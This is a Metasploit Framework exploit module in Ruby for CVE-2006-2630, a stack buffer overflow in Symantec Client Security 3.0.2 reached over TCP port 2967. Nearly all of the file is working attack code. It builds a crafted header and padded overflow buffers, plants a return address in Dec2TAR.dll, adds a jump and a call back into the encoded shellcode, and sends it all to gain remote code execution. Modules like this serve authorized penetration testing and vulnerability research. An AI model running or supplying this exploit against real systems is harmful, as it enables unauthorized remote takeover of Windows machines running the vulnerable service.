Symantec Remote Management Buffer Overflow



##

# $Id: symantec_rtvscan.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Symantec Remote Management Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in Symantec Client Security 3.0.x.
                This module has only been tested against Symantec Client Security 3.0.2
                build 10.0.2.2000.
            },
            'Author'         => [ 'MC' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9262 $',
            'References'     =>
                [
                    ['CVE', '2006-2630'],
                    ['OSVDB', '25846'],
                    ['BID', '18107'],
                    ['URL', 'http://research.eeye.com/html/advisories/published/AD20060612.html'],
                ],
            'Privileged'     => true,

            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Payload'        =>
                {
                    'Space'    => 500,
                    'BadChars' => "\x00",
                    'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'SCS 3.0.2 build 10.0.2.2000', { 'Ret' => 0x69985624 } ], # Dec2TAR.dll
                ],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'May 24 2006'))

        register_options(
            [
                Opt::RPORT(2967)
            ], self.class)
    end

    def exploit
        connect

        header =  "\x01\x10\x0a\x20\x0a\x00\x00\x00"
        header << "\x02\x18\x00\x01\x00\x00\x00\x00"
        header << "\x00\x24\x00\x14\xb7\xc9\xd2\xd9"
        header << "\x3e\x33\xef\x34\x25\x1f\x43\x00"

        crufta =  rand_text_alphanumeric(512)
        cruftb =  rand_text_alphanumeric(514)
        cruftc =  payload.encoded + rand_text_alphanumeric(513 - payload.encoded.length)
        cruftd =  rand_text_alphanumeric(495)

        cruftd[479, 2] = "\xeb\x06"
        cruftd[483, 4] = [target.ret].pack('V')
        cruftd[487, 5] = [0xe8, -1000].pack('CV')

        cruftd << rand_text_alphanumeric(21)
        crufte =  rand_text_alphanumeric(6) + "\x19\x00\x00\x00"
        crufte << rand_text_alphanumeric(504) + "\x00\x00"

        overflow =  [ crufta.length ].pack('v') + crufta
        overflow << [ cruftb.length ].pack('v') + cruftb
        overflow << [ cruftc.length ].pack('v') + cruftc
        overflow << [ cruftd.length ].pack('v') + cruftd
        overflow << [ crufte.length ].pack('v') + crufte

        sploit = header + overflow

        print_status("Trying target #{target.name}...")
        sock.put(sploit)

        handler
        disconnect
    end

end